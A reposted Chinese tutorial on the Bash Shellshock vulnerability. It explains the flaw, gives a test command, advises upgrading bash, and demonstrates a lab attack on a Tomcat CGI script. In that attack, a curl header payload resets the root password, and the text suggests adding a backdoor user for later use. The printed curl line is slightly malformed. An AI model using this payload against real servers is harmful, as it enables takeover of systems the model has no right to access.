文章转自http://bbs.kafan.cn/thread-1774478-1-1.html
里面内容做了部分修改
BASH漏洞来源
BASH漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:
env x='() {:;}; echo vulnerable' bash -c "echo this is a test"
如果在一个含有版本号小于bash 4.3的linux或者unix系统上执行以上命令,可能会得到以下输出:
vulnerable
this is a test
其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。
注意:上面这个例子程序只是测试用,被黑客利用的话,肯定不会只是执行一个输出文本操作,利用这个漏洞,黑客可以做很多事情,这里大家各自理解一下,点破而不说破。
漏洞原理及分析:
该脚本的出现引起了金山毒霸安全中心的关注,其中env为一个系统命令,该命令让系统创建一个环境变量x='() { :;}; echovulnerable'并且带着这个环境变量的值执行bash-c“echo this is a test”。第一行输出的”vulnerable”暴露了漏洞的存在,因为函数定义’() { :;};’之后的’echo vulnerable’指令本不该被执行却被执行。对bash详细分析后得知bash在处理含有函数定义诸如”(){ :;};”的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行。
所以真正的利用与env命令无关,只要设法让系统接受一个含有”[函数定义]+[任意命令]”的环境变量赋值则可触发”[任意命令]”部分所表示的代码执行。
漏洞存在条件:
任何已知程序,只要满足以下两个条件就可以被用来通过bash漏洞导致任意命令执行:
1、程序在某一时刻使用bash作为脚本解释器处理环境变量赋值;
2、环境变量赋值字符串的提交取决于用户输入。
漏洞解决办法:
解决该BASH漏洞,只需要升级BASH版本即可解决。
漏洞利用演示:
(这里演示的是在tomcat下面漏洞利用的一种方式,漏洞利用肯定不止这一种方式,在其他网站等的场合,只要能让服务器执行这段漏洞代码,即可以攻击成功)
测试环境,被黑服务器RED HAT5,IP地址:192.168.11.58,tomcat用的是5.5
另外一台攻击服务器,我用的是fedora,IP地址:192.168.11.56
【首先在RED HAT5被黑服务器上配置tomcat,使tomcat支持cgi编程】
TOMCAT需要支持CGI,以下是修改tomcat,让其支持cgi的过程
第一步
去掉conf/web.xml中的如下段中的注释,红色部分内容是需要添加的内容。
告诉tomcat,cgi的文件放在每个应用的WEB_INF/cgi-bin下面
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>passShellEnvironment</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
<init-param>
<param-name>executable</param-name>
<param-value>/bin/sh</param-value>
</init-param>
</servlet>
第二步
去掉conf/web.xml中的如下段中的注释。
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
第三步
在测试应用testjsp下面创建目录cgi-bin
/testjsp/WEB-INF/cgi-bin
创建测试cgi文件vul_cgi.sh
vi vul_cgi.sh
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html>"
echo " <body>"
echo " A Hellowordfrom Duba!"
echo " </body>"
echo "</html>"
第四步
启动tomcat
第五步
测试应用
http://192.168.11.58:8080/testjsp/cgi-bin/vul_cgi.sh
这样就会输出A Helloword from Duba!
【在攻击服务器fedora上面执行下面攻击过程】
用另外一台linux操作系统,执行以下命令,让被黑主机修改root密码为good
curl-H 'A_Custom_Header: () { :;}; /bin/bash -c "echo "good" |passwd --stdin root"'
http://192.168.11.58:8080/testjsp/cgi-bin/vul_cgi.sh
命令执行完毕不输出任何提示,所谓“没有消息就是好消息”。
解释:useradd nihao ; echo "good" | passwd --stdin nihao是直接创建用户nihao ,同时指定密码good,以后还有利用价值。上面运用了echo "good" | passwd --stdin root修改root密码为good,使用了管道命令
【到这一步,已经完成攻击过程,攻击目的就是在被黑主机RED HAT上面修改root口令为good,下面测试是否成功创建】
下面,连接被黑服务器,ssh 192.168.11.58 用户名root,密码good,登录192.168.11.58成功,主机成功拿下。